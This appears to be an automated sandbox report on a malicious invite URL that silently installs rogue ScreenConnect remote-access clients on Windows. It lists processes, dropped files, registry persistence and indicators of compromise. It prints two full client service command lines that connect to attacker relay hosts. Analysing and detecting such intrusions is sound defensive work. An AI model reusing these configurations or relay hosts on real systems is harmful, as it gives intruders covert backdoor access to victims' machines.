hxxps://talent[.]qpon/invite

Resubmissions

08/07/2026, 14:02

260708-rcjeeags4s10

08/07/2026, 14:01

260708-rbyspsht7k10

08/07/2026, 13:57

260708-q9rllsf19t10

Analysis

geolocation tags

nanew-jerseynorth-americaunited-statesususa
user interaction
yes
max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/07/2026, 14:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://talent.qpon/invite
Sample260708-rcjeeags4s

Score

8^/10

backdoor discovery execution persistence privilege_escalation rat revoked_codesign

Malware Config

Signatures

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
69	5324	powershell.exe
71	5644	msiexec.exe
72	5644	msiexec.exe
74	5948	powershell.exe
76	5236	powershell.exe
78	5236	powershell.exe
88	5268	powershell.exe
90	5268	powershell.exe
121	5644	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5324	powershell.exe
5948	powershell.exe
5236	powershell.exe
5268	powershell.exe
4452	powershell.exe
5324	powershell.exe
5696	powershell.exe
5948	powershell.exe
5236	powershell.exe
5268	powershell.exe

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (09af6a8051d3c228)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (09af6a8051d3c228)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-qbrhhe-relay.screenconnect.com&p=443&s=6935c92e-2d7d-4de3-a961-52119ddae0da&k=BgIAAACkAABSU0ExAAgAAAEAAQA5ARxGABeWFVnH8yD2RT8mrzgHBPqjpdYuQv4TDvCeKrEs1HuafgL%2bK5DNCr45O1%2bdvlb9imhdPa4UVaYnUTH3E1N9HOrlHrJZAA3JlnyX320gP4gKx3%2fhD9gFkr%2frHuoPl4s0znNG6G%2fQofCRKkIVQhFbN1Oew56NiTkNvE3MMKDDzSv24eNnD8RWz9sEGg6%2ft3MzjEOev3O1YHmAr4zUXB1eo9wBuXjWr%2bT6WjVFw8jwSHNJ5v9RwBDsGTOHU6Qv1hOJRv5qac55Sn3oSZsY%2bmQob6l1CRRGtEAiNZFdRd%2bGzFOgStT2QUi67RSNxHbHRNPaVQSb9kkkP%2b%2bSJMPX&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAY8HdVq%2b7f0aAaZuCotX7VAAAAAACAAAAAAAQZgAAAAEAACAAAADvJbuVaIS0gX9NeDONJAJmOmcUVRLtuOB29vL%2fZ7E69wAAAAAOgAAAAAIAACAAAACS7tKz36waQ6NQ2eS4VxJ%2bTLswxOAMfnYhvyx%2fY65syaAEAADb44kYM76LSfW1YgCAu5lvpCQS%2b2OBCE6zcE5tJDPpsZLnnC33hPZCyGn0TaWpVKrv8u%2faku2uvGN%2fv3BzRH3FhfSLhVHM5LxGku1%2fp6Xz%2ffQc02nvglXwTtzdrHiO3TBodBXebBKC52aLLoKn1Cnwoym7f0fCwR2wzPE3wFb77uOSBbszrAA7T164Xm54O6tlJCBnIq7HlrHmYJuNchddnHBBXc8lpAW8WDhvifO0oATUSXfv3Vx55Z5Mu9Hve146LBNNnDM%2fmxyd4xbCBxrh5qWReI7%2f%2b5MZnMnwuCWhuXTrvK1OD6wdSAmj523%2bGv4jdd5QcG0dFv6pP5vfCQpHrsGWL5%2bHC6RLS76XGOL6%2fi0F7eERHrI0PL8BW4coEt1MWoXHB54%2bx4qQ0SMQrYz%2bphNYuk%2b%2fLAEI83pt0aeTKwtHK7yOvfIc0Rg9kMYVfDuajtoPd5erodwkh%2bmviwU4x2M4U0IUHszzphH3DsQDed%2bw3EkyGz3sHqDhhRKp%2bETDvwoIRgLBFYfg3BDDoQwDaKv5NUhr1QgigEZHFJBXPCGf%2fcmN33jbu5czNxZNL6SsWp6E3VQqZNhINX9vACCxD7cXq4BxqL5Rkg9pK1KM%2fwwWoy8LStig9PShSziJVCDaryyFirglMZEkoeoyFpDCd7%2fpeoMjR%2fRcgDXYKf5AgskbLcow4ZMnn59IVVm4NoPdmcCxCQpovjZ2m6D74QaAncKwp3wtz4FGn8%2fh2ax9ADvmqWKj9%2fy6lkkU9RIG1yIoWt6PukgaN36bdfgbxbd0D9zI0XxWQR%2fhHyYflRbAI%2fi0D6kcSNt2voSPXjY5rGCjrX10EuwkhJsGXlgmeOHA31q3zJMQfSkGkfuprAh5CC%2b9wdf6CjCtThT9opkRNN9pD01gVXZV0LW3lLmXxaprwyzsmrU%2fWaLGyANMbWsUEuIjLuzzh7mO3gUFok0RuCRdbBYDBKd7IgqvA1FztEIjocW9BWkTfp8Kajs3qRykdWz3uDbLJzS0UfJW%2bkBDvuky9veS28HVWdvwdPwENGbYUhVI1QSC5QO7DJoXp0i7xvN6EovQskVUsBGSSPqy%2fsVz5PGFc8t5EBK9bqIApLuSm99wgSNSfkO8AjKFwSXGbr0h1y4RPuw2Y%2bjLtp7TMm9Cj72XaR3K2EUewltPyNStEs%2fwA1MTnv8Bu8hETcZwNN1HdGE0WmMyuw2%2ffdU7SAdERfhAHDMitT%2fLwJlJL54uo%2bC8HsyORaorLWjpbSzr4sKKFKq8WKabfbKASsJ4gGqFcB0YMPE9%2fCC7VCy80xQt38pYUBJZDHHbQELHKjzxP%2b1MCCr1JK5EDaOB8R3H3mgHNHyAlIDR%2bQr%2fUxtsubPILzoUoEeSHRxq5oxd%2bKLj7%2biFobmMZRVwvXNN97hxsWPxfUGMrD4E7BYJD3IRiu4t1ijj4pZWIVC%2f%2buOOeGvuYb6RHnxI8Vf2uq34tX40%2bP9wELc3XkEBr02hO7jsxAGkZ0pRbhqsfQLpB6HAwkWjMwEHOTjwMW2VXu8vg28YhfYMzvCKrGJCU8rzqVuXQoG0c32f%2fzCsZxH65gq6rqkOWUAAAAD37JScHmJaA7cvwm5QvhBpgeZ6UDKMfqSVchkB3kpMIrBuZGv8TQR7RQX4GQzo4Npn8djpdyDVohfXlcIa7rZn\""	ScreenConnect.ClientService.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (54a6d47a28eeb247)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (54a6d47a28eeb247)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=relay.tolreanrust.site&p=8041&s=563e32e9-8b87-40ef-a745-a40dde70f583&k=BgIAAACkAABSU0ExAAgAAAEAAQBFBnwGVXQBYdwQAnsl1IIx2O6679G0goFQUQc3%2bYp52bIUqG8XZwv%2fTQBvgbvZBYC7Mo7Vkfq%2bP2ZF%2fjazJxsh1zczecnTAB2L0XzxnC4N20C8b9fe5irgT2MWvMGIFKner5jfbU6Zz1oBR%2fy6YyrxF0d3jq1%2b%2bOjcjngPAyDTQCqkwbm0zfRA11ZFspTU4aqoxKb8Hmy9oF9T3u6kAiA%2fuZBV%2fRTUkGGkM58sA%2frPiyh%2fCR00iRCqAEhGUsSdOp1yRyxcBlBGz2FBM%2beQR7gytBfkf75rnUlB7Znb%2byUj6DQwmpUeWkZx4hG1KLaY4Ct1Cd8yY6EbLT8vYbgAhfbe&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAY8HdVq%2b7f0aAaZuCotX7VAAAAAACAAAAAAAQZgAAAAEAACAAAAD7ltia5YVK81Aqe1JtIVn5EkVQVz%2b9LxFGVq7FwN9VMwAAAAAOgAAAAAIAACAAAAA9%2bU9okUq8cC%2fpFZ43TNV%2bpeMMSkxragc4lXDwTjOGs6AEAAAdeucg6%2ftC1jIw6DpX9sKQigQ8t%2fZyDtvJSQ6a%2b%2fwOUHCFYaYxsE2zdhGJcYPt8cVQWQCYEnkL0G%2ftQynRGWO7btte4owCJfI1wSl7ZGRL%2fdiy03CcqBY4afgi6%2fc8b2sN0P4308lS7clcPVozCkiuxcrp22wWXtHyqhsTYYeKoaJbbTLOBg8vh6PHheCoSelK8AMhorQjq41t1qLqmMuAqvWw4lryewvkWDSjyfGMggokA6QDxpISlaykuFg5W55EzUSBJv4YyJJ5FUgAzS4wBy68pr89MeEZUfBnPvSFVFLJ8JTL0jbC6pOuZw0nWNMhuP596rcC7ebMgqwr0EtRt%2bD7a1SutPKMjwhE4iXOqtkDQtNexpC%2fY%2fbZAYj%2fHXVzFAYIUu0W%2f4pyx3XccyAkSRIs%2bfdMUW%2bXqfOLHD543uaq2mz7U2hApeMNblABrluwEQiCk4kEWDDSQ8RZCGmYQ5vFIyNsfcKEInOrPj8AbCpg2gKiJeUL685FwjIu07rU6fJ1sk7wd1BK2uQZgfNwf5%2biZxULLr8PlqLM%2bDRlEPORCb9mZvJFBZw6Dy0avF4iudbDq4Wuw0um4CVvFVYTsx8GVBs8eA9V2ZHlQu8Gz0insieuJ%2bJet1fRXbdCLRAwiq5y6L190nQKwYgZ0h%2bFxdsrxQ6py6rTAx%2fxGgXNQBZn9062PXE%2fd5KdfefdnC%2bNnF0U3n8aNyTBVIp0ZLx663rqlaudnmzawXBld7IFEsS%2bS9HrvgJpyhMy1tTnw3DVsvl31ICRYUrwJ7Px0mssyX%2f8CfrD3ki4t%2fBjJptfy3M3KWMRA9DMK5epIPaE787DjqkW3fDXDftDz8QvoDyYvKbNbVa%2fccvO6IeXNIg2of2G%2fitUz%2bT5%2bwVGRjKsWvEkjXKkTA29%2f6EDwWNM47kbn1t6ajwtl89kKRIdxM9tbGzIqrnvYuXqpKtersLCho8iarC%2bB%2f8Mx0tumZi9foPrvmsMW4AP7e4P66VowOHR2mrfZgjl6yTEjhP5H1XofpLeWKFh33Uzoghi4bFTRCnQwfiitOtN0MRk4W2lH8PdTCp08wz0oJ1CzATgB98tW23JCngVjLJWESRWIjNEwDEosPoJi8EhbWvGihq96c6CsZ9yQvX4ZTNOy0SdwaPyMGxJWhkCVdABzo%2fEYgB0DoZ390HkV4aFx0AIbVOYo988rhVT3kanYEslr59pW08HnyJxGnTcKql0FowXII%2fMFdnIwYv%2fIRUwYzjKLi82Xmcxlwstp6x9k8rBi4IgXuco3iHJ3%2b2qeu56W6Am7vVtrDJvPXs%2flws6xiLfd6yidB8iRB3%2fgolBVQui6er7QiEUzZX2DVJJX4NaQZ4%2frk1ZA2V4APHb0eXEL9vnF959ZIAfhX7UGpW5vJ4IE2ntzXlBjub%2b2974YMfYHkj8Kndewi%2fTvEM6I00sOcwcYNgsFxtHvVCILVWUwnoE1g1RCcjnjbejwcUt%2bLEy4AJJ29eZY4q19HIZuE83A9XkPjzvfTcd4DfNRG7Geypdvc1dRN14JQN9rDMytnam0vf9K6IZ585Jve8byddDo%2bq8Kdvjaw9GyEAAAACE89YnP71xLGaoDBRxtAmvgdPnMbL1xrMJbBiBBVy9cnBlPFvM%2fG%2bTIwb%2fVxwqUxkTqP9n6yTXSMvw7jIzoo75&c=BAT&c=&c=&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Signed with revoked ConnectWise certificate 1 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral1/memory/5308-647-0x0000000003F10000-0x0000000003FE2000-memory.dmp	revoked_cert_connectwise

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 13 IoCs

pid	Process
2956	ScreenConnect.ClientService.exe
5396	ScreenConnect.WindowsClient.exe
5064	ScreenConnect.WindowsClient.exe
5688	ScreenConnect.WindowsClient.exe
5348	ScreenConnect.WindowsClient.exe
2132	ScreenConnect.WindowsBackstageShell.exe
5952	ScreenConnect.WindowsClient.exe
5308	ScreenConnect.ClientService.exe
3544	ScreenConnect.WindowsClient.exe
1756	ScreenConnect.WindowsClient.exe
2436	ScreenConnect.WindowsClient.exe
2120	ScreenConnect.WindowsClient.exe
3684	ScreenConnect.WindowsClient.exe

Loads dropped DLL 54 IoCs

pid	Process
6064	MsiExec.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
6128	rundll32.exe
5328	MsiExec.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
2252	rundll32.exe
5328	MsiExec.exe
6008	MsiExec.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
2956	ScreenConnect.ClientService.exe
3212	MsiExec.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
1640	rundll32.exe
3212	MsiExec.exe
3212	MsiExec.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe
5308	ScreenConnect.ClientService.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
5792	msiexec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
75	api.ipify.org
76	api.ipify.org
88	api.ipify.org

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 2 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800300039006100660036006100380030003500310064003300630032003200380029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800300039006100660036006100380030003500310064003300630032003200380029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c00000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800350034006100360064003400370061003200380065006500620032003400370029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 31 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rundll32.exe.log	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\user.config	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_2560.db	ScreenConnect.WindowsBackstageShell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\qrfrmlx3.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\axy0u4w1.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\qrfrmlx3.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db	ScreenConnect.WindowsBackstageShell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (54a6d47a28eeb247)\ds0325le.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\zgqvy33o.tmp	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db	ScreenConnect.WindowsBackstageShell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (54a6d47a28eeb247)\ds0325le.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\zgqvy33o.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\axy0u4w1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\axy0u4w1.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db	ScreenConnect.WindowsBackstageShell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	PowerShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\qrfrmlx3.newcfg	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_768.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Explorer\iconcache_1920.db	ScreenConnect.WindowsBackstageShell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt	PowerShell.exe

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (54a6d47a28eeb247)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe

Drops file in Windows directory 52 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\ScreenConnect.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7B1B.tmp	msiexec.exe
File created	C:\Windows\Installer\e584c75.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e584c78.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e584c78.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File created	C:\Windows\Installer\e584c7c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI6ED2.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\Installer\e584c80.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e584c75.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\ScreenConnect.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{99607F2D-98D1-9AFA-7F39-7BC70A48F7AB}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7982.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{99607F2D-98D1-9AFA-7F39-7BC70A48F7AB}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI75C9.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI52AF.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI7490.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
